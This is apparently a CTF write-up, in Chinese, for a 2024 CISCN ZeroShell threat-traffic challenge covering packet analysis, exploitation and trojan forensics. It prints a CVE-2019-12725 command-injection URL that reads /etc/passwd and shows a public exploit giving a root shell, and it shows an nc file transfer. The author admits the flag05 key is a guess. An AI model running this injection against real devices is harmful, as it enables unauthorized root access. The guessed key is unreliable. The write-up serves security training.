1.2024长城杯&CISCN-威胁流量分析-zeroshell

背景:
小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

文件名:2e9c01da1d333cb8840968689ed3bc57.7z
文件大小:270.1m
下载链接1:https://pan.baidu.com/s/1N58ui-5Ll4Zk7Ys4SUGFvw 提取码:GAME
下载链接2:https://drive.google.com/file/d/19VKjCBaF_X2VvexHGwS__TRhnS39njVT/view
解压密码:11b0526b-9cfb-4ac4-8a75-10ad9097b7ce
来源:长城杯&CISCN官网

1. flag01

1.从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}

过滤http,题目说执行了命令, 搜索关键词 exec

http contains "exec"

Pasted image 20250518194448
优先看请求包
追踪tcp流,在referer处发现可以字符串
Pasted image 20250518194617
base64解码获取flag
Pasted image 20250518194904

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

2. flag02

2.通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}

搭建好环境后,直接用Nuclei扫

┌──(root㉿kali)-[~/Desktop/应急响应/2024-CISCN-zeroshell]
└─# nuclei -u 61.139.2.100
WARNING:(ast) sonic only supports go1.17~1.23, but your environment is not suitable

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.9

                projectdiscovery.io

[INF] Current nuclei version: v3.3.9 (outdated)
[INF] Current nuclei-templates version: v10.2.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 42
[INF] Templates loaded for current scan: 7944
[WRN] Loading 198 unsigned templates for scan. Use with caution.
[INF] Executing 7746 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Templates clustered: 1737 (Reduced 1633 Requests)
 [INF] Using Interactsh Server: oast.pro
[robots-txt-endpoint] [http] [info] https://61.139.2.100/robots.txt
[options-method] [http] [info] https://61.139.2.100 ["GET,HEAD,POST,OPTIONS"]
[CVE-2019-12725] [http] [critical] https://61.139.2.100/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW
[ssl-issuer] [ssl] [info] 61.139.2.100:443 ["example"]
[self-signed-ssl] [ssl] [low] 61.139.2.100:443
[ssl-dns-names] [ssl] [info] 61.139.2.100:443 ["zeroshell.example.com"]
[untrusted-root-certificate] [ssl] [low] 61.139.2.100:443

可以发现有一个CVE-2019-12725
网上找一个payload进行利用
GitHub - nowindows9/CVE-2019-12725-modified-exp

┌──(root㉿kali)-[~/Desktop/应急响应/2024-CISCN-zeroshell/CVE-2019-12725-modified-exp]
└─# python CVE-2019-12725.py -u http://61.139.2.100
2025-05-18 08:52:58,479 - INFO - ZeroShell 3.9.0 Remote Command Execution
2025-05-18 08:52:58,479 - INFO - Successfully connected to target
$ whoami
root
root

直接find flag

$  find / -name flag
/DB/_DB.001/flag
/Database/flag
/DB/_DB.001/flag
/Database/flag

$ cat /DB/_DB.001/flag
c6045425-6e6e-41d0-be09-95682a4f65c4
c6045425-6e6e-41d0-be09-95682a4f65c4

3. flag03

3.找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com} 或 flag{16.122.33.44}
netstat -a 查看网络连接
Pasted image 20250518210159
可以发现这个 202.115.89.103 十分可疑

flag{202.115.89.103}

微步扫了一下,直接识别出来了,哈哈
Pasted image 20250518210427

4. flag04

4.请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

Pasted image 20250518211152
然后去看这个进程对应的可执行文件即可

ls -l /proc/17515/
Info

这里我环境有问题。进程已经不在了。所以看不到了。

Pasted image 20250518214442
这是能看到的情况,可以看到指向了 .nginx

flag{.nginx}

5. flag05

5.请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}

Pasted image 20250518212547
把文件下载下来
直接用Nc传即可

nc -lvp 9999 >.nginx
nc 61.139.2.3 9999 < /tmp/.nginx

ida打开反编译,感觉这个就像是密钥,而且正好是16位 Pasted image 20250518223654
由于本人不会逆向,只能瞎蒙了

flag{11223344qweasdzxc}

6. flag06

6.请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}

这里也是上面第四题中可以看到有一个目录 /Database/var/register/system/startup/scripts/nat
Pasted image 20250518215242

flag{/Database/var/register/system/startup/scripts/nat/File}

但是正确的flag要去掉前面的 /Database

flag{/var/register/system/startup/scripts/nat/File}